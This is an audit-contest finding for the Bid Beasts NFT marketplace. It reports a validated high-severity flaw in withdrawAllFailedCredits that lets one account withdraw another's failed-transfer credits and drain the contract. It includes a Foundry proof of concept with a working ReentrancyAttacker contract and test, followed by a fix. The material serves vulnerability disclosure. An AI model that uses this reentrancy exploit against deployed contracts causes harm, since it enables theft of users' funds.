Bid Beasts
First Flight #49
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

[H-2] The BidBeastsNFTMarket::withdrawAllFailedCredits function incorrectly checks the _receiver balance instead of the msg.sender balance, creating a direct reentrancy reentrancy attack vulnerability

alexscherbatyuk

The BidBeastsNFTMarket::withdrawAllFailedCredits function incorrectly checks the _receiver balance instead of the msg.sender balance, making the state change before the external call ineffective and creating a direct reentrancy attack vulnerability.

Description

  • The BidBeastsNFTMarket::withdrawAllFailedCredits function has an incorrect balance check. Instead of checking the msg.sender's balance, it checks the _receiver's balance and sets the msg.sender's balance to 0 before making an external call. This makes the state change mitigation for reentrancy attacks ineffective. The external call uses the _receiver storage value to send funds but treats msg.sender as the recipient address, creating a vulnerability.

  • This vulnerability puts user and protocol funds at risk, enabling a complete drain of both through a direct reentrancy attack.

function withdrawAllFailedCredits(address _receiver) external {
//@> uint256 amount = failedTransferCredits[_receiver];
require(amount > 0, "No credits to withdraw");
failedTransferCredits[msg.sender] = 0;
//@> (bool success, ) = payable(msg.sender).call{value: amount}("");
require(success, "Withdraw failed");
}

Risk

Likelihood: High

  • It's highly probable to happen.

  • Clear path for reentrance attack execution.

Impact: High

  • User and protocol funds are directly at risk.

  • Severe disruption of protocol functionality.

Proof of Concept

Add the following code snippet to the BidBeastsMarketPlaceTest.t.sol test file.

// ReentrancyAttacker contract for reentrancy attack demonstration.
contract ReentrancyAttacker {
BidBeastsNFTMarket victim;
address public rejector;
uint256 public counter = 0;
​
constructor(BidBeastsNFTMarket _victim, address _rejector) {
victim = _victim;
rejector = _rejector;
}
​
function attack(address _receiver) public payable {
victim.withdrawAllFailedCredits(_receiver);
}
​
receive() external payable {
console.log("balance of victim: ", address(victim).balance);
if (address(victim).balance >= 1 ether) {
counter++;
victim.withdrawAllFailedCredits(rejector);
}
}
}
​
// Reentrancy attack test.
function testReentrancyAttack() public {
ReentrancyAttacker reentrancyAttacker = new ReentrancyAttacker(market, address(rejector));
uint256 S_MIN_BID_INCREMENT_PERCENTAGE = 5;
​
vm.deal(address(market), 10 ether);
​
// Owner mints NFT to the user `SELLER`
vm.startPrank(OWNER);
nft.mint(SELLER);
vm.stopPrank();
​
// The `SELLER` lists the NFT
vm.startPrank(SELLER);
nft.approve(address(market), TOKEN_ID);
market.listNFT(TOKEN_ID, MIN_PRICE, BUY_NOW_PRICE);
vm.stopPrank();
​
uint256 attackerBalanceBeforeAttack = address(reentrancyAttacker).balance;
console.log("balance of attacker before attack: ", attackerBalanceBeforeAttack);
// The attacker uses `rejector contract` to place a bid
​
uint256 firstBidAmount = MIN_PRICE + 1;
hoax(address(rejector), 100 ether);
market.placeBid{value: firstBidAmount}(TOKEN_ID);
​
// Attacker waits for the next bid, or place a bid with another bidder, or let the auction end
// Another bidder sets a bid
​
uint256 secondBidAmount = firstBidAmount + (firstBidAmount * S_MIN_BID_INCREMENT_PERCENTAGE) / 100;
vm.prank(BIDDER_1);
market.placeBid{value: secondBidAmount}(TOKEN_ID);
​
assertTrue(
market.failedTransferCredits(address(rejector)) > 0, "Failed transfer credits should be greater than 0"
);
// The rejector contract rejects the refund
// Attacker than calls the `withdrawAllFailedCredits` function from reentrany contract 'AttackerContract'
// on behalf of `rejector` address
​
console.log("balance of market before attack: ", address(market).balance);
console.log("\n");
console.log("========== Reentrancy attack started ==========");
reentrancyAttacker.attack(address(rejector));
​
console.log("Number of reentrancy attacks: ", reentrancyAttacker.counter());
console.log("========== Reentrancy attack ended ==========");
console.log("\n");
​
uint256 attackerBalanceAfterAttack = address(reentrancyAttacker).balance;
​
assertGt(attackerBalanceAfterAttack, attackerBalanceBeforeAttack, "Attacker balance should be greater");
console.log("attacker balance after attack: ", attackerBalanceAfterAttack);
}

Recommended Mitigation

Modify the BidBeastsNFTMarket::withdrawAllFailedCredits function to check the msg.sender's balance instead of the _receiver's balance and use _receiver as the recipient.

function withdrawAllFailedCredits(address _receiver) external {
+ require(_receiver != address(0), "Receiver cannot be address(0)");
- uint256 amount = failedTransferCredits[_receiver];
+ uint256 amount = failedTransferCredits[msg.sender];
require(amount > 0, "No credits to withdraw");
​
failedTransferCredits[msg.sender] = 0;
- (bool success,) = payable(msg.sender).call{value: amount}("");
+ (bool success,) = payable(_receiver).call{value: amount}("");
require(success, "Withdraw failed");
}
Updates

Lead Judging Commences

cryptoghost Lead Judge about 1 month ago
Submission Judgement Published
Validated
Assigned finding tags:

BidBeast Marketplace: Unrestricted FailedCredits Withdrawal

withdrawAllFailedCredits allows any user to withdraw another account’s failed transfer credits due to improper use of msg.sender instead of _receiver for balance reset and transfer.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.